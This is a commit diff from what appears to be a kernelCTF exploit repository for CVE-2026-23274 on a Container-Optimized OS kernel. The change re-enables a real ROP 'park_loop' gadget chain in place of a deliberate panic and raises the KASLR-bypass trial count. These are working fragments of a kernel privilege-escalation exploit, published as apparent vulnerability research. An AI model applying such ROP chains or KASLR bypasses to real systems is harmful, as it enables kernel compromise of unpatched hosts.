Skip to content

Commit e6a75e6

Browse files
fix: do not panic kernel as CI will not read dmesg.
1 parent 909a444 commit e6a75e6

2 files changed

Lines changed: 13 additions & 13 deletions

File tree

pocs/linux/kernelctf/CVE-2026-23274_cos/exploit/cos-113-18244.582.2/exploit.c

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -158,21 +158,21 @@ void init_libxdk(void) {
158158
{RopItemType::SYMBOL, 0x20f4b0},
159159
});
160160

161-
// st.AddRopAction("park_loop", {
162-
// {RopItemType::SYMBOL, 0x2a0d4c},
163-
// {RopItemType::SYMBOL, 0x649},
164-
// {RopItemType::CONSTANT_VALUE, 0x0},
165-
// {RopItemType::SYMBOL, 0x649},
166-
// });
167-
168-
// Panic the kernel in CI to avoid timeout.
169161
st.AddRopAction("park_loop", {
170-
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
171-
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
172-
{RopItemType::CONSTANT_VALUE, 0xdeadbeefcafebabe},
173-
{RopItemType::SYMBOL, 0xdeadbeefcafebabe},
162+
{RopItemType::SYMBOL, 0x2a0d4c},
163+
{RopItemType::SYMBOL, 0x649},
164+
{RopItemType::CONSTANT_VALUE, 0x0},
165+
{RopItemType::SYMBOL, 0x649},
174166
});
175167

168+
// Panic the kernel in CI to avoid timeout.
169+
// st.AddRopAction("park_loop", {
170+
// {RopItemType::SYMBOL, 0xdeadbeefcafebabe},
171+
// {RopItemType::SYMBOL, 0xdeadbeefcafebabe},
172+
// {RopItemType::CONSTANT_VALUE, 0xdeadbeefcafebabe},
173+
// {RopItemType::SYMBOL, 0xdeadbeefcafebabe},
174+
// });
175+
176176
st.AddRopAction("queue_work_cpu0_then_stop", {
177177
{RopItemType::SYMBOL, 0xafda91},
178178
{RopItemType::ARGUMENT, 0},

pocs/linux/kernelctf/CVE-2026-23274_cos/exploit/cos-113-18244.582.2/kaslr_bypass.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,7 +79,7 @@ int bypass_(uint64_t base) {
7979
#define START (0xffffffff81000000ull)
8080
#define END (0xffffffffc0000000ull)
8181
#define STEP 0x0000000000200000ull
82-
#define NUM_TRIALS 7
82+
#define NUM_TRIALS 13
8383
// largest contiguous mapped area at the beginning of _stext
8484
#define WINDOW_SIZE 12
8585

0 commit comments

Comments
 (0)